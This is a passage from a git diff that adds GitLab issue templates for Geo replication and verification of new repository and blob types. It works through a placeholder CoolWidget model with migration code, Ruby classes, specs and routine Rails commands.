+ remove_concurrent_index_by_name :cool_widgets, PENDING_VERIFICATION_INDEX_NAME
+ remove_concurrent_index_by_name :cool_widgets, FAILED_VERIFICATION_INDEX_NAME
+ remove_concurrent_index_by_name :cool_widgets, NEEDS_VERIFICATION_INDEX_NAME
+ end
+ end
+ ```
+
+- [ ] Run database migrations:
+
+ ```shell
+ bin/rake db:migrate
+ ```
+
+- [ ] Be sure to commit the relevant changes in `db/structure.sql`
+
+#### Add verification state fields to a separate table (Option 2)
+
+- [ ] Create the migration file in `db/migrate`:
+
+ ```shell
+ bin/rails generate migration CreateCoolWidgetStates
+ ```
+
+- [ ] Replace the contents of the migration file with:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ class CreateCoolWidgetStates < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ VERIFICATION_STATE_INDEX_NAME = "index_cool_widget_states_on_verification_state"
+ PENDING_VERIFICATION_INDEX_NAME = "index_cool_widget_states_pending_verification"
+ FAILED_VERIFICATION_INDEX_NAME = "index_cool_widget_states_failed_verification"
+ NEEDS_VERIFICATION_INDEX_NAME = "index_cool_widget_states_needs_verification"
+
+ disable_ddl_transaction!
+
+ def up
+ unless table_exists?(:cool_widget_states)
+ with_lock_retries do
+ create_table :cool_widget_states, id: false do |t|
+ t.references :cool_widget, primary_key: true, null: false, foreign_key: { on_delete: :cascade }
+ t.integer :verification_state, default: 0, limit: 2, null: false
+ t.column :verification_started_at, :datetime_with_timezone
+ t.datetime_with_timezone :verification_retry_at
+ t.datetime_with_timezone :verified_at
+ t.integer :verification_retry_count, limit: 2
+ t.binary :verification_checksum, using: 'verification_checksum::bytea'
+ t.text :verification_failure
+
+ t.index :verification_state, name: VERIFICATION_STATE_INDEX_NAME
+ t.index :verified_at, where: "(verification_state = 0)", order: { verified_at: 'ASC NULLS FIRST' }, name: PENDING_VERIFICATION_INDEX_NAME
+ t.index :verification_retry_at, where: "(verification_state = 3)", order: { verification_retry_at: 'ASC NULLS FIRST' }, name: FAILED_VERIFICATION_INDEX_NAME
+ t.index :verification_state, where: "(verification_state = 0 OR verification_state = 3)", name: NEEDS_VERIFICATION_INDEX_NAME
+ end
+ end
+ end
+
+ add_text_limit :cool_widget_states, :verification_failure, 255
+ end
+
+ def down
+ drop_table :cool_widget_states
+ end
+ end
+ ```
+
+- [ ] If deviating from the above example, then be sure to order columns according to [our guidelines](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/ordering_table_columns.md).
+- [ ] Run database migrations:
+
+ ```shell
+ bin/rake db:migrate
+ ```
+
+- [ ] Be sure to commit the relevant changes in `db/structure.sql`
+
+That's all of the required database changes.
+
+### Implement Geo support of Cool Widgets behind a feature flag
+
+#### Step 1. Implement replication and verification
+
+- [ ] Include `Gitlab::Geo::ReplicableModel` in the `CoolWidget` class, and specify the Replicator class `with_replicator Geo::CoolWidgetReplicator`.
+
+ Pay some attention to method `pool_repository`. Not every repository type uses repository pooling. As Geo prefers to use repository snapshotting, it can lead to data loss. Make sure to overwrite `pool_repository` so it returns nil for repositories that do not have pools.
+
+ At this point the `CoolWidget` class should look like this:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ class CoolWidget < ApplicationRecord
+ include ::Gitlab::Geo::ReplicableModel
+ include ::Gitlab::Geo::VerificationState
+
+ with_replicator Geo::CoolWidgetReplicator
+
+ mount_uploader :file, CoolWidgetUploader
+
+ # Override the `all` default if not all records can be replicated. For an
+ # example of an existing Model that needs to do this, see
+ # `EE::MergeRequestDiff`.
+ # scope :available_replicables, -> { all }
+
+ # @param primary_key_in [Range, CoolWidget] arg to pass to primary_key_in scope
+ # @return [ActiveRecord::Relation<CoolWidget>] everything that should be synced to this node, restricted by primary key
+ def self.replicables_for_current_secondary(primary_key_in)
+ # This issue template does not help you write this method.
+ #
+ # This method is called only on Geo secondary sites. It is called when
+ # we want to know which records to replicate. This is not easy to automate
+ # because for example:
+ #
+ # * The "selective sync" feature allows admins to choose which namespaces # to replicate, per secondary site. Most Models are scoped to a
+ # namespace, but the nature of the relationship to a namespace varies
+ # between Models.
+ # * The "selective sync" feature allows admins to choose which shards to
+ # replicate, per secondary site. Repositories are associated with
+ # shards. Most blob types are not, but Project Uploads are.
+ # * Remote stored replicables are not replicated, by default. But the
+ # setting `sync_object_storage` enables replication of remote stored
+ # replicables.
+ #
+ # Search the codebase for examples, and consult a Geo expert if needed.
+ end
+
+ # Geo checks this method in FrameworkRepositorySyncService to avoid
+ # snapshotting repositories using object pools
+ def pool_repository
+ nil
+ end
+
+ ...
+ end
+ ```
+
+- [ ] Implement `CoolWidget.replicables_for_current_secondary` above.
+- [ ] Ensure `CoolWidget.replicables_for_current_secondary` is well-tested. Search the codebase for `replicables_for_current_secondary` to find examples of parameterized table specs. You may need to add more `FactoryBot` traits.
+- [ ] If you are using a separate table `cool_widget_states` to track verification state on the Geo primary site, then:
+ - [ ] Do not include `::Gitlab::Geo::VerificationState` on the `CoolWidget` class.
+ - [ ] Add the following lines to the `cool_widget_state.rb` model:
+
+ ```ruby
+ class CoolWidgetState < ApplicationRecord
+ ...
+ self.primary_key = :cool_widget_id
+
+ include ::Gitlab::Geo::VerificationState
+
+ belongs_to :cool_widget, inverse_of: :cool_widget_state
+ ...
+ end
+ ```
+
+ - [ ] Add the following lines to the `cool_widget` model:
+
+ ```ruby
+ class CoolWidget < ApplicationRecord
+ ...
+ has_one :cool_widget_state, inverse_of: :cool_widget
+
+ delegate :verification_retry_at, :verification_retry_at=,
+ :verified_at, :verified_at=,
+ :verification_checksum, :verification_checksum=,
+ :verification_failure, :verification_failure=,
+ :verification_retry_count, :verification_retry_count=,
+ to: :cool_widget_state
+ ...
+ end
+ ```
+
+- [ ] Create `ee/app/replicators/geo/cool_widget_replicator.rb`. Implement the `#repository` method which should return a `<Repository>` instance, and implement the class method `.model` to return the `CoolWidget` class:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ module Geo
+ class CoolWidgetReplicator < Gitlab::Geo::Replicator
+ include ::Geo::RepositoryReplicatorStrategy
+
+ def self.model
+ ::CoolWidget
+ end
+
+ def repository
+ model_record.repository
+ end
+
+ def self.git_access_class
+ ::Gitlab::GitAccessCoolWidget
+ end
+
+ # The feature flag follows the format `geo_#{replicable_name}_replication`,
+ # so here it would be `geo_cool_widget_replication`
+ def self.replication_enabled_by_default?
+ false
+ end
+
+ override :verification_feature_flag_enabled?
+ def self.verification_feature_flag_enabled?
+ # We are adding verification at the same time as replication, so we
+ # don't need to toggle verification separately from replication. When
+ # the replication feature flag is off, then verification is also off
+ # (see `VerifiableReplicator.verification_enabled?`)
+ true
+ end
+
+ end
+ end
+ ```
+
+- [ ] Make sure Geo push events are created. Usually it needs some change in the `app/workers/post_receive.rb` file. Example:
+
+ ```ruby
+ def replicate_cool_widget_changes(cool_widget)
+ if ::Gitlab::Geo.primary?
+ cool_widget.replicator.handle_after_update if cool_widget
+ end
+ end
+ ```
+
+ See `app/workers/post_receive.rb` for more examples.
+
+- [ ] Make sure the repository removal is also handled. You may need to add something like the following in the destroy service of the repository:
+
+ ```ruby
+ cool_widget.replicator.handle_after_destroy if cool_widget.repository
+ ```
+
+- [ ] Make sure a Geo secondary site can request and download Cool Widgets on the Geo primary site. You may need to make some changes to `Gitlab::GitAccessCoolWidget`. For example, see [this change for Group-level Wikis](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54914/diffs?commit_id=0f2b36f66697b4addbc69bd377ee2818f648dd33).
+- [ ] Generate the feature flag definition file by running the feature flag command and following the command prompts:
+
+ ```shell
+ bin/feature-flag --ee geo_cool_widget_replication --type development --group 'group::geo'
+ ```
+
+- [ ] Add this replicator class to the method `replicator_classes` in
+ `ee/lib/gitlab/geo.rb`:
+
+ ```ruby
+ REPLICATOR_CLASSES = [
+ ::Geo::PackageFileReplicator,
+ ::Geo::CoolWidgetReplicator
+ ]
+ end
+ ```
+
+- [ ] Create `ee/spec/replicators/geo/cool_widget_replicator_spec.rb` and perform the necessary setup to define the `model_record` variable for the shared examples:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ require 'spec_helper'
+
+ RSpec.describe Geo::CoolWidgetReplicator do
+ let(:model_record) { build(:cool_widget) }
+
+ include_examples 'a repository replicator'
+ include_examples 'a verifiable replicator'
+ end
+ ```
+
+- [ ] Create `ee/app/models/geo/cool_widget_registry.rb`:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ class Geo::CoolWidgetRegistry < Geo::BaseRegistry
+ include ::Geo::ReplicableRegistry
+ include ::Geo::VerifiableRegistry
+
+ MODEL_CLASS = ::CoolWidget
+ MODEL_FOREIGN_KEY = :cool_widget_id
+
+ belongs_to :cool_widget, class_name: 'CoolWidget'
+ end
+ ```
+
+- [ ] Update `REGISTRY_CLASSES` in `ee/app/workers/geo/secondary/registry_consistency_worker.rb`.
+- [ ] Update `def model_class_factory_name` in `ee/spec/services/geo/registry_consistency_service_spec.rb`.
+- [ ] Update `it 'creates missing registries for each registry class'` in `ee/spec/workers/geo/secondary/registry_consistency_worker_spec.rb`.
+- [ ] Add `cool_widget_registry` to `ActiveSupport::Inflector.inflections` in `config/initializers_before_autoloader/000_inflections.rb`.
+- [ ] Create `ee/spec/factories/geo/cool_widget_registry.rb`:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ FactoryBot.define do
+ factory :geo_cool_widget_registry, class: 'Geo::CoolWidgetRegistry' do
+ cool_widget
+ state { Geo::CoolWidgetRegistry.state_value(:pending) }
+
+ trait :synced do
+ state { Geo::CoolWidgetRegistry.state_value(:synced) }
+ last_synced_at { 5.days.ago }
+ end
+
+ trait :failed do
+ state { Geo::CoolWidgetRegistry.state_value(:failed) }
+ last_synced_at { 1.day.ago }
+ retry_count { 2 }
+ last_sync_failure { 'Random error' }
+ end
+
+ trait :started do
+ state { Geo::CoolWidgetRegistry.state_value(:started) }
+ last_synced_at { 1.day.ago }
+ retry_count { 0 }
+ end
+ end
+ end
+ ```
+
+- [ ] Create `ee/spec/models/geo/cool_widget_registry_spec.rb`:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ require 'spec_helper'
+
+ RSpec.describe Geo::CoolWidgetRegistry, :geo, type: :model do
+ let_it_be(:registry) { create(:geo_cool_widget_registry) }
+
+ specify 'factory is valid' do
+ expect(registry).to be_valid
+ end
+
+ include_examples 'a Geo framework registry'
+ include_examples 'a Geo verifiable registry'
+ end
+ ```
+
+#### Step 2. Implement metrics gathering
+
+Metrics are gathered by `Geo::MetricsUpdateWorker`, persisted in `GeoNodeStatus` for display in the UI, and sent to Prometheus:
+
+- [ ] Add the following fields to Geo Node Status example responses in `doc/api/geo_nodes.md`:
+ - `cool_widgets_count`
+ - `cool_widgets_checksum_total_count`
+ - `cool_widgets_checksummed_count`
+ - `cool_widgets_checksum_failed_count`
+ - `cool_widgets_synced_count`
+ - `cool_widgets_failed_count`
+ - `cool_widgets_registry_count`
+ - `cool_widgets_verification_total_count`
+ - `cool_widgets_verified_count`
+ - `cool_widgets_verification_failed_count`
+ - `cool_widgets_synced_in_percentage`
+ - `cool_widgets_verified_in_percentage`
+- [ ] Add the same fields to `GET /geo_nodes/status` example response in
+ `ee/spec/fixtures/api/schemas/public_api/v4/geo_node_status.json`.
+- [ ] Add the following fields to the `Sidekiq metrics` table in `doc/administration/monitoring/prometheus/gitlab_metrics.md`:
+ - `geo_cool_widgets`
+ - `geo_cool_widgets_checksum_total`
+ - `geo_cool_widgets_checksummed`
+ - `geo_cool_widgets_checksum_failed`
+ - `geo_cool_widgets_synced`
+ - `geo_cool_widgets_failed`
+ - `geo_cool_widgets_registry`
+ - `geo_cool_widgets_verification_total`
+ - `geo_cool_widgets_verified`
+ - `geo_cool_widgets_verification_failed`
+- [ ] Add the following to the parameterized table in the `context 'Replicator stats' do` block in `ee/spec/models/geo_node_status_spec.rb`:
+
+ ```ruby
+ Geo::CoolWidgetReplicator | :cool_widget | :geo_cool_widget_registry
+ ```
+
+- [ ] Add the following to `spec/factories/cool_widgets.rb`:
+
+ ```ruby
+ trait(:verification_succeeded) do
+ with_file
+ verification_checksum { 'abc' }
+ verification_state { CoolWidget.verification_state_value(:verification_succeeded) }
+ end
+
+ trait(:verification_failed) do
+ with_file
+ verification_failure { 'Could not calculate the checksum' }
+ verification_state { CoolWidget.verification_state_value(:verification_failed) }
+ end
+ ```
+
+- [ ] Make sure the factory also allows setting a `project` attribute. If the model does not have a direct relation to a project, you can use a `transient` attribute. Check out `spec/factories/merge_request_diffs.rb` for an example.
+
+Cool Widget replication and verification metrics should now be available in the API, the `Admin > Geo > Nodes` view, and Prometheus.
+
+#### Step 3. Implement the GraphQL API
+
+The GraphQL API is used by `Admin > Geo > Replication Details` views, and is directly queryable by administrators.
+
+- [ ] Add a new field to `GeoNodeType` in `ee/app/graphql/types/geo/geo_node_type.rb`:
+
+ ```ruby
+ field :cool_widget_registries, ::Types::Geo::CoolWidgetRegistryType.connection_type,
+ null: true,
+ resolver: ::Resolvers::Geo::CoolWidgetRegistriesResolver,
+ description: 'Find Cool Widget registries on this Geo node',
+ feature_flag: :geo_cool_widget_replication
+ ```
+
+- [ ] Add the new `cool_widget_registries` field name to the `expected_fields` array in `ee/spec/graphql/types/geo/geo_node_type_spec.rb`.
+- [ ] Create `ee/app/graphql/resolvers/geo/cool_widget_registries_resolver.rb`:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ module Resolvers
+ module Geo
+ class CoolWidgetRegistriesResolver < BaseResolver
+ type ::Types::Geo::GeoNodeType.connection_type, null: true
+
+ include RegistriesResolver
+ end
+ end
+ end
+ ```
+
+- [ ] Create `ee/spec/graphql/resolvers/geo/cool_widget_registries_resolver_spec.rb`:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ require 'spec_helper'
+
+ RSpec.describe Resolvers::Geo::CoolWidgetRegistriesResolver do
+ it_behaves_like 'a Geo registries resolver', :geo_cool_widget_registry
+ end
+ ```
+
+- [ ] Create `ee/app/finders/geo/cool_widget_registry_finder.rb`:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ module Geo
+ class CoolWidgetRegistryFinder
+ include FrameworkRegistryFinder
+ end
+ end
+ ```
+
+- [ ] Create `ee/spec/finders/geo/cool_widget_registry_finder_spec.rb`:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ require 'spec_helper'
+
+ RSpec.describe Geo::CoolWidgetRegistryFinder do
+ it_behaves_like 'a framework registry finder', :geo_cool_widget_registry
+ end
+ ```
+
+- [ ] Create `ee/app/graphql/types/geo/cool_widget_registry_type.rb`:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ module Types
+ module Geo
+ # rubocop:disable Graphql/AuthorizeTypes because it is included
+ class CoolWidgetRegistryType < BaseObject
+ include ::Types::Geo::RegistryType
+
+ graphql_name 'CoolWidgetRegistry'
+ description 'Represents the Geo replication and verification state of a cool_widget'
+
+ field :cool_widget_id, GraphQL::ID_TYPE, null: false, description: 'ID of the Cool Widget'
+ end
+ end
+ end
+ ```
+
+- [ ] Create `ee/spec/graphql/types/geo/cool_widget_registry_type_spec.rb`:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ require 'spec_helper'
+
+ RSpec.describe GitlabSchema.types['CoolWidgetRegistry'] do
+ it_behaves_like 'a Geo registry type'
+
+ it 'has the expected fields (other than those included in RegistryType)' do
+ expected_fields = %i[cool_widget_id]
+
+ expect(described_class).to have_graphql_fields(*expected_fields).at_least
+ end
+ end
+ ```
+
+- [ ] Add integration tests for providing CoolWidget registry data to the frontend via the GraphQL API, by duplicating and modifying the following shared examples in `ee/spec/requests/api/graphql/geo/registries_spec.rb`:
+
+ ```ruby
+ it_behaves_like 'gets registries for', {
+ field_name: 'coolWidgetRegistries',
+ registry_class_name: 'CoolWidgetRegistry',
+ registry_factory: :geo_cool_widget_registry,
+ registry_foreign_key_field_name: 'coolWidgetId'
+ }
+ ```
+
+- [ ] Update the GraphQL reference documentation:
+
+ ```shell
+ bundle exec rake gitlab:graphql:compile_docs
+ ```
+
+Individual Cool Widget replication and verification data should now be available via the GraphQL API.
+
+### Release Geo support of Cool Widgets
+
+- [ ] In the rollout issue you created when creating the feature flag, modify the Roll Out Steps:
+ - [ ] Cross out any steps related to testing on production GitLab.com, because Geo is not running on production GitLab.com at the moment.
+ - [ ] Add a step to `Test replication and verification of Cool Widgets on a non-GDK-deployment. For example, using GitLab Environment Toolkit`.
+ - [ ] Add a step to `Ping the Geo PM and EM to coordinate testing`. For example, you might add steps to generate Cool Widgets, and then a Geo engineer may take it from there.
+- [ ] In `ee/config/feature_flags/development/geo_cool_widget_replication.yml`, set `default_enabled: true`
+
+- [ ] In `ee/app/replicators/geo/cool_widget_replicator.rb`, delete the `self.replication_enabled_by_default?` method:
+
+ ```ruby
+ module Geo
+ class CoolWidgetReplicator < Gitlab::Geo::Replicator
+ ...
+
+ # REMOVE THIS METHOD
+ def self.replication_enabled_by_default?
+ false
+ end
+ # REMOVE THIS METHOD
+
+ ...
+ end
+ end
+ ```
+
+- [ ] In `ee/app/graphql/types/geo/geo_node_type.rb`, remove the `feature_flag` option for the released type:
+
+ ```ruby
+ field :cool_widget_registries, ::Types::Geo::CoolWidgetRegistryType.connection_type,
+ null: true,
+ resolver: ::Resolvers::Geo::CoolWidgetRegistriesResolver,
+ description: 'Find Cool Widget registries on this Geo node',
+ feature_flag: :geo_cool_widget_replication # REMOVE THIS LINE
+ ```
+
+- [ ] Add a row for Cool Widgets to the `Data types` table in [Geo data types support](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/administration/geo/replication/datatypes.md#data-types)
+- [ ] Add a row for Cool Widgets to the `Limitations on replication/verification` table in [Geo data types support](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/administration/geo/replication/datatypes.md#limitations-on-replicationverification). If the row already exists, then update it to show that Replication and Verification is released in the current version.
diff --git a/.gitlab/issue_templates/Geo: Replicate a new blob type.md b/.gitlab/issue_templates/Geo: Replicate a new blob type.md
new file mode 100644
index 00000000000..12fe6a6f5bb
--- /dev/null
+++ b/.gitlab/issue_templates/Geo: Replicate a new blob type.md
@@ -0,0 +1,722 @@
+<!--
+
+This template is based on a model named `CoolWidget`.
+
+To adapt this template, find and replace the following tokens:
+
+- `CoolWidget`
+- `Cool Widget`
+- `cool_widget`
+- `coolWidget`
+
+If your Model's pluralized form is non-standard, i.e. it doesn't just end in `s`, find and replace the following tokens *first*:
+
+- `CoolWidgets`
+- `Cool Widgets`
+- `cool_widgets`
+- `coolWidgets`
+
+-->
+
+## Replicate Cool Widgets
+
+This issue is for implementing Geo replication and verification of Cool Widgets.
+
+For more background, see [Geo self-service framework](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/geo/framework.md).
+
+In order to implement and test this feature, you need to first [set up Geo locally](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/master/doc/howto/geo.md).
+
+There are three main sections below. It is a good idea to structure your merge requests this way as well:
+
+1. Modify database schemas to prepare to add Geo support for Cool Widgets
+1. Implement Geo support of Cool Widgets behind a feature flag
+1. Release Geo support of Cool Widgets
+
+It is also a good idea to first open a proof-of-concept merge request. It can be helpful for working out kinks and getting initial support and feedback from the Geo team. As an example, see the [Proof of Concept to replicate Pipeline Artifacts](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56423).
+
+### Modify database schemas to prepare to add Geo support for Cool Widgets
+
+You might do this section in its own merge request, but it is not required.
+
+#### Add the registry table to track replication and verification state
+
+Geo secondary sites have a [Geo tracking database](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/geo.md#tracking-database) independent of the main database. It is used to track the replication and verification state of all replicables. Every Model has a corresponding "registry" table in the Geo tracking database.
+
+- [ ] Create the migration file in `ee/db/geo/migrate`:
+
+ ```shell
+ bin/rails generate geo_migration CreateCoolWidgetRegistry
+ ```
+
+- [ ] Replace the contents of the migration file with the following. Note that we cannot add a foreign key constraint on `cool_widget_id` because the `cool_widgets` table is in a different database. The application code must handle logic such as propagating deletions.
+
+ ```ruby
+ # frozen_string_literal: true
+
+ class CreateCoolWidgetRegistry < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ def up
+ unless table_exists?(:cool_widget_registry)
+ ActiveRecord::Base.transaction do
+ create_table :cool_widget_registry, id: :bigserial, force: :cascade do |t|
+ t.bigint :cool_widget_id, null: false
+ t.datetime_with_timezone :created_at, null: false
+ t.datetime_with_timezone :last_synced_at
+ t.datetime_with_timezone :retry_at
+ t.datetime_with_timezone :verified_at
+ t.datetime_with_timezone :verification_started_at
+ t.datetime_with_timezone :verification_retry_at
+ t.integer :state, default: 0, null: false, limit: 2
+ t.integer :verification_state, default: 0, null: false, limit: 2
+ t.integer :retry_count, default: 0, limit: 2, null: false
+ t.integer :verification_retry_count, default: 0, limit: 2, null: false
+ t.boolean :checksum_mismatch, default: false, null: false
+ t.binary :verification_checksum
+ t.binary :verification_checksum_mismatched
+ t.string :verification_failure, limit: 255 # rubocop:disable Migration/PreventStrings see https://gitlab.com/gitlab-org/gitlab/-/issues/323806
+ t.string :last_sync_failure, limit: 255 # rubocop:disable Migration/PreventStrings see https://gitlab.com/gitlab-org/gitlab/-/issues/323806
+
+ t.index :cool_widget_id, name: :index_cool_widget_registry_on_cool_widget_id, unique: true
+ t.index :retry_at
+ t.index :state
+ # To optimize performance of CoolWidgetRegistry.verification_failed_batch
+ t.index :verification_retry_at, name: :cool_widget_registry_failed_verification, order: "NULLS FIRST", where: "((state = 2) AND (verification_state = 3))"
+ # To optimize performance of CoolWidgetRegistry.needs_verification_count
+ t.index :verification_state, name: :cool_widget_registry_needs_verification, where: "((state = 2) AND (verification_state = ANY (ARRAY[0, 3])))"
+ # To optimize performance of CoolWidgetRegistry.verification_pending_batch
+ t.index :verified_at, name: :cool_widget_registry_pending_verification, order: "NULLS FIRST", where: "((state = 2) AND (verification_state = 0))"
+ end
+ end
+ end
+ end
+
+ def down
+ drop_table :cool_widget_registry
+ end
+ end
+ ```
+
+- [ ] If deviating from the above example, then be sure to order columns according to [our guidelines](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/ordering_table_columns.md).
+- [ ] Run Geo tracking database migrations:
+
+ ```shell
+ bin/rake geo:db:migrate
+ ```
+
+- [ ] Be sure to commit the relevant changes in `ee/db/geo/schema.rb`
+
+### Add verification state fields on the Geo primary site
+
+The Geo primary site needs to checksum every replicable in order for secondaries to verify their own checksums. To do this, Geo requires fields on the Model. There are two ways to add the necessary verification state fields. If the table is large and wide, then it may be a good idea to add verification state fields to a separate table (Option 2). Consult a database expert if needed.
+
+#### Add verification state fields to the model table (Option 1)
+
+- [ ] Create the migration file in `db/migrate`:
+
+ ```shell
+ bin/rails generate migration AddVerificationStateToCoolWidgets
+ ```
+
+- [ ] Replace the contents of the migration file with:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ class AddVerificationStateToCoolWidgets < ActiveRecord::Migration[6.0]
+ def change
+ change_table(:cool_widgets) do |t|
+ t.integer :verification_state, default: 0, limit: 2, null: false
+ t.column :verification_started_at, :datetime_with_timezone
+ t.integer :verification_retry_count, limit: 2, null: false
+ t.column :verification_retry_at, :datetime_with_timezone
+ t.column :verified_at, :datetime_with_timezone
+ t.binary :verification_checksum, using: 'verification_checksum::bytea'
+
+ t.text :verification_failure # rubocop:disable Migration/AddLimitToTextColumns
+ end
+ end
+ end
+ ```
+
+- [ ] If deviating from the above example, then be sure to order columns according to [our guidelines](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/ordering_table_columns.md).
+- [ ] If `cool_widgets` is a high-traffic table, follow [the database documentation to use `with_lock_retries`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/migration_style_guide.md#when-to-use-the-helper-method)
+- [ ] Adding a `text` column also [requires](../database/strings_and_the_text_data_type.md#add-a-text-column-to-an-existing-table) setting a limit. Create the migration file in `db/migrate`:
+
+ ```shell
+ bin/rails generate migration AddVerificationFailureLimitToCoolWidgets
+ ```
+
+- [ ] Replace the contents of the migration file with:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ class AddVerificationFailureLimitToCoolWidgets < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ CONSTRAINT_NAME = 'cool_widget_verification_failure_text_limit'
+
+ def up
+ add_text_limit :cool_widget, :verification_failure, 255, constraint_name: CONSTRAINT_NAME
+ end
+
+ def down
+ remove_check_constraint(:cool_widget, CONSTRAINT_NAME)
+ end
+ end
+ ```
+
+- [ ] Add indexes on verification fields to ensure verification can be performed efficiently. Some or all of these indexes can be omitted if the table is guaranteed to be small. Ask a database expert if you are considering omitting indexes. Create the migration file in `db/migrate`:
+
+ ```shell
+ bin/rails generate migration AddVerificationIndexesToCoolWidgets
+ ```
+
+- [ ] Replace the contents of the migration file with:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ class AddVerificationIndexesToCoolWidgets < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ VERIFICATION_STATE_INDEX_NAME = "index_cool_widgets_on_verification_state"
+ PENDING_VERIFICATION_INDEX_NAME = "index_cool_widgets_pending_verification"
+ FAILED_VERIFICATION_INDEX_NAME = "index_cool_widgets_failed_verification"
+ NEEDS_VERIFICATION_INDEX_NAME = "index_cool_widgets_needs_verification"
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :cool_widgets, :verification_state, name: VERIFICATION_STATE_INDEX_NAME
+ add_concurrent_index :cool_widgets, :verified_at, where: "(verification_state = 0)", order: { verified_at: 'ASC NULLS FIRST' }, name: PENDING_VERIFICATION_INDEX_NAME
+ add_concurrent_index :cool_widgets, :verification_retry_at, where: "(verification_state = 3)", order: { verification_retry_at: 'ASC NULLS FIRST' }, name: FAILED_VERIFICATION_INDEX_NAME
+ add_concurrent_index :cool_widgets, :verification_state, where: "(verification_state = 0 OR verification_state = 3)", name: NEEDS_VERIFICATION_INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :cool_widgets, VERIFICATION_STATE_INDEX_NAME
+ remove_concurrent_index_by_name :cool_widgets, PENDING_VERIFICATION_INDEX_NAME
+ remove_concurrent_index_by_name :cool_widgets, FAILED_VERIFICATION_INDEX_NAME
+ remove_concurrent_index_by_name :cool_widgets, NEEDS_VERIFICATION_INDEX_NAME
+ end
+ end
+ ```
+
+- [ ] Run database migrations:
+
+ ```shell
+ bin/rake db:migrate
+ ```
+
+- [ ] Be sure to commit the relevant changes in `db/structure.sql`
+
+#### Add verification state fields to a separate table (Option 2)
+
+- [ ] Create the migration file in `db/migrate`:
+
+ ```shell
+ bin/rails generate migration CreateCoolWidgetStates
+ ```
+
+- [ ] Replace the contents of the migration file with:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ class CreateCoolWidgetStates < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ VERIFICATION_STATE_INDEX_NAME = "index_cool_widget_states_on_verification_state"
+ PENDING_VERIFICATION_INDEX_NAME = "index_cool_widget_states_pending_verification"
+ FAILED_VERIFICATION_INDEX_NAME = "index_cool_widget_states_failed_verification"
+ NEEDS_VERIFICATION_INDEX_NAME = "index_cool_widget_states_needs_verification"
+
+ disable_ddl_transaction!
+
+ def up
+ unless table_exists?(:cool_widget_states)
+ with_lock_retries do
+ create_table :cool_widget_states, id: false do |t|
+ t.references :cool_widget, primary_key: true, null: false, foreign_key: { on_delete: :cascade }
+ t.integer :verification_state, default: 0, limit: 2, null: false
+ t.column :verification_started_at, :datetime_with_timezone
+ t.datetime_with_timezone :verification_retry_at
+ t.datetime_with_timezone :verified_at
+ t.integer :verification_retry_count, limit: 2
+ t.binary :verification_checksum, using: 'verification_checksum::bytea'
+ t.text :verification_failure
+
+ t.index :verification_state, name: VERIFICATION_STATE_INDEX_NAME
+ t.index :verified_at, where: "(verification_state = 0)", order: { verified_at: 'ASC NULLS FIRST' }, name: PENDING_VERIFICATION_INDEX_NAME
+ t.index :verification_retry_at, where: "(verification_state = 3)", order: { verification_retry_at: 'ASC NULLS FIRST' }, name: FAILED_VERIFICATION_INDEX_NAME
+ t.index :verification_state, where: "(verification_state = 0 OR verification_state = 3)", name: NEEDS_VERIFICATION_INDEX_NAME
+ end
+ end
+ end
+
+ add_text_limit :cool_widget_states, :verification_failure, 255
+ end
+
+ def down
+ drop_table :cool_widget_states
+ end
+ end
+ ```
+
+- [ ] If deviating from the above example, then be sure to order columns according to [our guidelines](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/ordering_table_columns.md).
+- [ ] Run database migrations:
+
+ ```shell
+ bin/rake db:migrate
+ ```
+
+- [ ] Be sure to commit the relevant changes in `db/structure.sql`
+
+That's all of the required database changes.
+
+### Implement Geo support of Cool Widgets behind a feature flag
+
+#### Step 1. Implement replication and verification
+
+- [ ] Include `Gitlab::Geo::ReplicableModel` in the `CoolWidget` class, and specify the Replicator class `with_replicator Geo::CoolWidgetReplicator`.
+
+ At this point the `CoolWidget` class should look like this:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ class CoolWidget < ApplicationRecord
+ include ::Gitlab::Geo::ReplicableModel
+ include ::Gitlab::Geo::VerificationState
+
+ with_replicator Geo::CoolWidgetReplicator
+
+ mount_uploader :file, CoolWidgetUploader
+
+ # Override the `all` default if not all records can be replicated. For an
+ # example of an existing Model that needs to do this, see
+ # `EE::MergeRequestDiff`.
+ # scope :available_replicables, -> { all }
+
+ # @param primary_key_in [Range, CoolWidget] arg to pass to primary_key_in scope
+ # @return [ActiveRecord::Relation<CoolWidget>] everything that should be synced to this node, restricted by primary key
+ def self.replicables_for_current_secondary(primary_key_in)
